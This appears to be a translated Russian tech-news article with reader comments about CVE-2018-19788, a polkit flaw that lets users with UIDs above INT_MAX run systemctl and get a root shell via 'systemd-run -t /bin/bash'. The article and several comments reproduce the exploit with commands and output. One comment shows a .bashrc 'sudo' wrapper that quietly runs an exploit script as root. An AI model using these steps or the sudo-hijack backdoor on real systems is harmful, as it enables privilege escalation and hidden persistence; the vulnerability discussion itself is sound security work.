Присядьте, у меня есть новость, которая вас сейчас шокирует…

В операционных системах Linux есть неприкрытая уязвимость, позволяющая пользователю с низкими привилегиями санкционировано выполнить любую команду systemctl (и даже стать root — прим. переводчика), если его UID больше 2147483647.

image

Описанная уязвимость, отслеживаемая как CVE-2018-19788, находится в библиотеке PolicyKit (также известной, как polkit) версии 0.115, предустановленной в большинстве популярных дистрибутивов Linux, включая Red Hat, Debian, Ubuntu и CentOS. Polkit — инструмент в UNIX-подобных системах, используемый для определения политик и предоставления доступа непривилегированных процессов к привилегированным. В отличие от «sudo» не наделяет процесс пользователя правами администратора, а позволяет точно контролировать, что разрешено, а что запрещено.

Уязвимость существует благодаря ошибке в проверке PolicyKit запросов на получение прав для любого пользователя с UID, превышающим INT_MAX. Где INT_MAX — это константа, которая хранит максимальное значение целочисленной переменной типа integer, что равно 2147483647 (в шестнадцатеричном 0x7FFFFFFF).

Таким образом, если мы создадим учетную запись с любым UID, превышающим значение INT_MAX, компонент PolicyKit позволит успешно выполнить любую команду systemctl.

Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter, представившийся как «0xm1rch», выпустил эксплойт proof-of-concept (PoC), чтобы успешно продемонстрировать уязвимость, которая требует пользователя с UID 4000000000.

Red Hat рекомендует системным администраторам не разрешать какие-либо отрицательные UID или UID больше 2147483646, чтобы смягчить проблему до выпуска заплатки.

Несколько способов эксплуатации от переводчика


Первый способ — просто через systemctl. Я создал пользователя с большим UID, затем попытался запустить apache2:

1) для начала проверил, что он лежит

$ systemctl status apache2
? apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
  Drop-In: /lib/systemd/system/apache2.service.d
           L-apache2-systemd.conf
   Active: inactive (dead)

2) попытался запустить, но получил ошибку

$ systemctl start apache2

(process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

3) но затем убедился, что он все-таки запустился

$ systemctl status apache2
? apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
  Drop-In: /lib/systemd/system/apache2.service.d
           L-apache2-systemd.conf
   Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago
  Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
 Main PID: 2829 (apache2)
    Tasks: 55 (limit: 4526)
   CGroup: /system.slice/apache2.service
           +-2829 /usr/sbin/apache2 -k start
           +-2830 /usr/sbin/apache2 -k start
           L-2831 /usr/sbin/apache2 -k start

Второй способ заключается в запуске bash через systemd. Я выполнил следующую команду, создал текстовый документ в корне фс, добавил в него строку, и проверил результат

$  systemd-run -t /bin/bash

(process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
# echo hello > /test.txt
# cat /test.txt
hello

Пока экспериментировал в своей убунте, обнаружил еще такую закономерность: если под пользователем с таким UID зайти в параметры учетных записей, то все настройки разблокированы, что позволяет редактировать/удалять любых пользователей.

Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?

Комментарии (47)


  1. pavelpromin
    11.12.2018 02:23
    +1

    Реше..., А не! Не та ОС.


    1. 3apa3ka3
      11.12.2018 18:01

      почитал комментарии, в том числе на fb из оригинальной статьи ссылка, решето все меньше решето, хотя да звучит.


    1. Cenzo
      12.12.2018 01:51

      Осталось всего ничего — создать из под рута такого пользователя.


  1. inkvizitor68sl
    11.12.2018 02:31
    -4

    > как теперь «вызвать» появление на хосте-жертве пользователя с таким UID
    Как-как. Каком кверху.
    curl… | sudo bash все делают не глядя.


    1. dreesh
      11.12.2018 05:58

      а разве sudo теперь нужен?


      1. StSav012
        11.12.2018 07:40

        Нужен, чтобы появить нового пользователя. Собственно, потому и не очень страшный баг.


    1. NSA
      11.12.2018 09:45

      >curl… | sudo bash все делают не глядя.

      Кто все? Кто так делает, рано или поздно попадют на однострочник и очищенную систему.


      1. inkvizitor68sl
        11.12.2018 14:55

        Девопсов постепенно к этому приучали.
        Тот же NodeJS и npm очень долгое время только так и можно было поставить (помимо мохнатых версий из дистрибутива).


        1. NSA
          11.12.2018 15:07

          Нет-нет, при установке nodejs никакого sudo нет.


          1. inkvizitor68sl
            11.12.2018 15:09

            Да шо ви мне таки сказки рассказываете.
            nodejs.org/en/download/package-manager/#macos
            nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions-enterprise-linux-fedora-and-snap-packages

            # Using Ubuntu
            curl -sL https://deb.nodesource.com/setup_11.x | sudo -E bash -
            sudo apt-get install -y nodejs


            Другой вопрос, что сейчас там просто репозиторий добавляется, а потом уже пакет ставишь, раньше (до nodesource) оно прямо из скрипта и ставилось.


            1. NSA
              11.12.2018 15:15

              Я не знаю, кто так ставит ноду. Лучше ставить через систему управления версиями:
              github.com/tj/n
              или
              github.com/creationix/nvm
              И в обоих случаях никакого sudo


              1. inkvizitor68sl
                11.12.2018 15:17

                github.com/creationix/nvm#installation
                нууу… не убедили.

                Вопрос не в том, как делаете лично вы, а в том, что написано в документации. С точки зрения «девопсизации методом copy-paste» curl | sudo bash давно стало нормой ровно по той причине, что в документации к любой ереси это есть.


                1. NSA
                  11.12.2018 15:59

                  github.com/creationix/nvm#installation
                  Где вы там нашли sudo?

                  Вопрос не в том, как делаете лично вы

                  А так делаю не только я, это стандарт де-факто. Если вы этого не знаете, то значит, вы точно не занимаетесь профессионально разработкой на nodejs.

                  в документации к любой ереси это есть.

                  Не ставьте всякую ересь :)


                  1. inkvizitor68sl
                    11.12.2018 16:01
                    +1

                    sudo там нет, но не то, чтобы curl | bash был прямо намного менее опасен, можно подсадить бэкдор, который потом выполнит нужно с sudo.

                    Сама идея запускать скрипты не читая — порочна.


                    1. NSA
                      11.12.2018 16:05

                      Сама идея запускать скрипты не читая — порочна.

                      Вот абсолютно согласен!

                      можно подсадить бэкдор, который потом выполнит нужно с sudo.

                      sudo в любом случае требует взаимодействия с пользователем, он специально так спроектирован. Незаметно вставить sudo в скрипт не получится.


                      1. inkvizitor68sl
                        11.12.2018 16:09

                        function sudo() {
                        /usr/bin/sudo /usr/bin/exploit.sh
                        /usr/bin/sudo ${@}
                        }


                        К сожалению, достаточно что-то такое в .bashrc пользователю добавить и следующий запуск sudo запустит exploit.sh. Если сам скрипт аккуратно написан без выхлопа (и почистит следы за собой), то и не узнаешь об этом.

                        Сам sudo в целом тоже не очень безопасен — в отличие от su, например, strace на sudo выхватывает введенный пароль.


                        1. Gutt
                          12.12.2018 00:46

                          Расскажите, как вы запустили sudo под strace. У strace в мане написано, что он не умеет трейсить бинарники с suid. Мне нужно докопаться до причины одной существенной задержки при запуске чего-либо через sudo, а для gdb смелости (и времени) не хватает. Хотелось бы сначала обойтись просмотром сисколлов.


                    1. vsb
                      11.12.2018 22:48

                      Можно подумать, вы читаете инсталляционные скрипты всех пакетов, которые вы ставите, или пакету с ubuntu.org больше доверия, чем скрипту с nodejs.org. Единственная разница с точки зрения безопасности — пакет подписан GPG-подписью, которую своровать вроде как сложней, чем взломать веб-сервер. Но это не слишком существенная разница, как по-мне.


                      1. MikailBag
                        12.12.2018 12:53

                        репозитории ubuntu защищены лучше, чем учетка npm. При этом они премодерируются.


        1. Goodkat
          11.12.2018 23:43

          Девопсов постепенно к этому приучали.
          Тот же NodeJS и npm очень долгое время только так и можно было поставить
          Ага, я когда впервые Node ставил на бубунте, немного удивился такому подходу — это ж даже хуже, чем под виндой скачать и запустить экзэшник, под виндой у него хотя бы ограниченные права пользователя, и как правило есть антивирус, а тут сразу из-под рута.
          В итоге скачал скрипт курлом, изучил, (ничего не понял) и потом уже запустил.


    1. DVoropaev Автор
      11.12.2018 10:24

      что это значит

      curl… | sudo bash все делают не глядя.


      1. le1ic
        11.12.2018 11:09

        Многие пакеты сейчас так ставятся


        1. NSA
          11.12.2018 15:05

          flatpak и прочее ставятся без sudo. С sudo никто всерьёз не предлагает ничего ставить. А если и предложат, то я ставить не буду.


  1. vintage
    11.12.2018 06:58

    Это не баг, это фича.


  1. Ogra
    11.12.2018 09:10

    Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?

    Еще какую. Внешне безобидный юзер на самом деле является рутом, и ни ручным, ни автоматическим аудитом этого не видно. И он может жить в системе очень долго, особенно если ему дать имя вроде mysqI.
    Как создать — вопрос другой. 0day, физический доступ к компьютеру, уволившийся админ — вариантов не так уж и мало.


    1. NSA
      11.12.2018 09:46

      >и ни ручным, ни автоматическим аудитом этого не видно

      Да бросьте, при аудите всё равно смотришь /etc/passwd, и заоблачный uid явно бросится в глаза.


      1. Protos
        11.12.2018 15:16

        Многие автоматизируют аудит и не предусматривают подобную проверку


        1. demimurych
          11.12.2018 22:58
          -3

          Та ну сдарсьти. Если автоматический аудит не парсит users на предмет того какие у какого пользователя права, то грош цена такому аудиту. Потому что получив рута, я из любого пользователя, сделаю равного руту по правам, десятком разных способов.


          1. Ogra
            12.12.2018 09:05

            О том и речь. Аудит покажет, что у пользователя все в порядке с правами, но из-за бага, его права существенно выше.


    1. arheops
      11.12.2018 10:07

      Автоматический аудит очень вероятно выдаст exception при парсинге user_id
      Ручной — ну это очень тяжело не заметить пользователя с 10ти значным ID


    1. DVoropaev Автор
      11.12.2018 10:26
      +1

      как буд-то кто-то специально будет создавать юзера с большим UID


      1. vanxant
        11.12.2018 10:54
        +1

        Ну вот кстати иметь резервного рута во многих случаях идея для многих заманчивая.


  1. firedragon
    11.12.2018 11:02

    Сотни тысяч роутеров с паролями по дефолту не подтверждают вашу самоуверенность.
    Та-же самая штука будет на облаках. Многие покупают виртуалку, но экономят на обслуживании. В итоге даже автоапдейты не накладываются. А попытаются провайдеры иметь доступ к машине, люди взвоют о своей приваси. В общем сложный вопрос. А баг действительно критичный


  1. slavius
    11.12.2018 13:58

    Эм… Пользователь (не администратор) может создавать нового пользователя? А иначе как нагнать UID?


  1. 3apa3ka3
    11.12.2018 14:06

    залогинился под root в консоли и провел следующий эксперимент

    root@debavk:/home/user# uname -a
    Linux debavk 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
    root@debavk:/home/user# useradd -u 2147483649 testuser
    root@debavk:/home/user# su - testuser
    No directory, logging in with HOME=/
    $ systemd-run -t /bin/bash
    **
    ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
    Failed to start transient service unit: Access denied
    $ echo hello > /test.txt
    -su: 2: cannot create /test.txt: Permission denied
    $ 
    root@debavk:/home/user# userdel testuser
    root@debavk:/home/user# useradd -u 4000000000 testuser
    root@debavk:/home/user# su - testuser
    No directory, logging in with HOME=/
    $ id  
    uid=4000000000(testuser) gid=1002(testuser) groups=1002(testuser)
    $ systemd-run -t /bin/bash
    **
    ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
    Failed to start transient service unit: Access denied
    $ echo hello > /test.txt
    -su: 3: cannot create /test.txt: Permission denied
    

    что то я не дочитал в статье?


    1. inkvizitor68sl
      11.12.2018 15:14

      Как обычно в дебиане слишком старый policykit и systemd )? Половина уязвимостей прошла мимо нас по причине «у нас тут старьё в main, а для backports я слишком ленив».


      1. 3apa3ka3
        11.12.2018 16:47

        спасибо, просто в статье так сказано, что вроде как должно быть по умолчанию уязвимо, как минимум я так прочитал.


        1. inkvizitor68sl
          11.12.2018 17:22

          Судя по ведру, у вас debian 9, там мало того, что 0.105 (а уязвимость в 0.115), так оно ещё и вроде только для систем с графикой актуально — на серверах polkit не ставится по умолчанию.

          115 есть только в experimental. Непонятно, в общем, зачем debian сюда приплели.


  1. Lsh
    11.12.2018 14:13

    Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID

    Есть сервер, где LXC контейнеры, пользователи которых на хост системе видны именно с такими (и выше) UID'ами. Вопрос, работает ли эта уязвимость изнутри LXC контейнера. Ubuntu 16.04.


  1. balsoft
    11.12.2018 14:35
    +1

    Баг всё-таки не в Linux, а в Polkit/SystemD. (Не все пользуются этой поделкой упоротых инженеров Шапки, которые плевали на безопасность и удобство и заботятся только о введении зондов). Не удивлюсь, если этот «баг» сделали специально.


    1. BOPOHA
      11.12.2018 17:49
      +1

      упоротых инженеров Шапки,
      плевали на безопасность

      Очень толсто!
      Указанные вами специалисты рекомендуют SELinux в enforced режиме, и это во многом решает подобные проблемы.


      [root@test ~]# useradd -u 2147483649 testuser
      (Tue Dec 11 15:32:29:453761 2018) [sss_cache] [confdb_get_domains] (0x0010): No domains configured, fatal error!
      Could not open available domains
      useradd: sss_cache exited with status 2
      useradd: Failed to flush the sssd cache.
      (Tue Dec 11 15:32:29:468971 2018) [sss_cache] [confdb_get_domains] (0x0010): No domains configured, fatal error!
      Could not open available domains
      useradd: sss_cache exited with status 2
      useradd: Failed to flush the sssd cache.
      
      [root@test ~]# grep testuser /etc/passwd
      testuser:x:2147483649:1003::/home/testuser:/bin/bash
      
      [root@test ~]# su - testuser
      
      [testuser@test ~]$ pwd
      /home/testuser
      
      [testuser@test ~]$ systemd-run -t /bin/bash
      
      (pkttyagent:9334): GLib-GObject-WARNING **: 15:33:21.538: value "-2147483647" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
      **
      ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
      Running as unit: run-u23561.service
      Press ^] three times within 1s to disconnect TTY.
      
      [testuser@test ~]$ id
      uid=2147483649(testuser) gid=1003(testuser) groups=1003(testuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
      
      [testuser@test ~]$ echo hello > /test.txt
      -bash: /test.txt: Permission denied
      
      [testuser@test ~]$ rpm -q polkit
      polkit-0.115-2.fc29.x86_64
      
      [testuser@test ~]$ logout
      
      [root@test ~]# ausearch -c '(bash)' --raw
      type=AVC msg=audit(1544538801.747:9383): avc:  denied  { open } for  pid=9337 comm="(bash)" path="/dev/pts/11" dev="devpts" ino=14 scontext=system_u:system_r:init_t:s0 tcontext=unconfined_u:object_r:user_devpts_t:s0 tclass=chr_file permissive=0
      


  1. Sly_tom_cat
    11.12.2018 18:39

    на Xubuntu 18.04.1 — Дыра есть

    $ sudo -i
    # useradd -u 4000000000 testuser
    # su testuser
    $ id
    uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser)
    
    $ systemd-run -t /bin/bash
    
    (process:18134): GLib-GObject-WARNING **: 18:34:39.564: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
    **
    ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
    Running as unit: run-u657.service
    Press ^] three times within 1s to disconnect TTY.
    # id
    uid=0(root) gid=0(root) groups=0(root)
    
    # 


    1. selivanov_pavel
      11.12.2018 22:18

      root@nowhere:~# useradd -u 4000000000 testuser
      root@nowhere:~# su testuser
      $ id
      uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser)
      $ systemd-run -t /bin/bash
      Failed to start transient service unit: The name org.freedesktop.PolicyKit1 was not provided by any .service files
      $ id
      uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser)

      Секрет прост — со своих серверов я сношу polkit-1 accountsservice libaccountsservice0, нафиг нужно ещё одно sudo, только кривое и слабо проверенное.


      А на десктопе через PolicyKit сделано монтирование внешних дисков, управление питанием и некоторые возможности NetworkManager, снести не получится :(


  1. nagayev
    11.12.2018 19:20

    О_о
    Критичный баг, такие довольно редко находят.


  1. ChachaB
    11.12.2018 23:48
    +3

    Очевидное-невероятное, с правами рута в линуксе можно натворить всякого, прям открытие. А без рутовых прав пользователя не добавить, увы…


  1. Tangeman
    12.12.2018 01:47
    +3

    Сенсация! Рут может создать пользователя с правами рута!

    Извините, не удержался…


    1. IvanNochnoy
      12.12.2018 10:09
      +2

      … и не знать об этом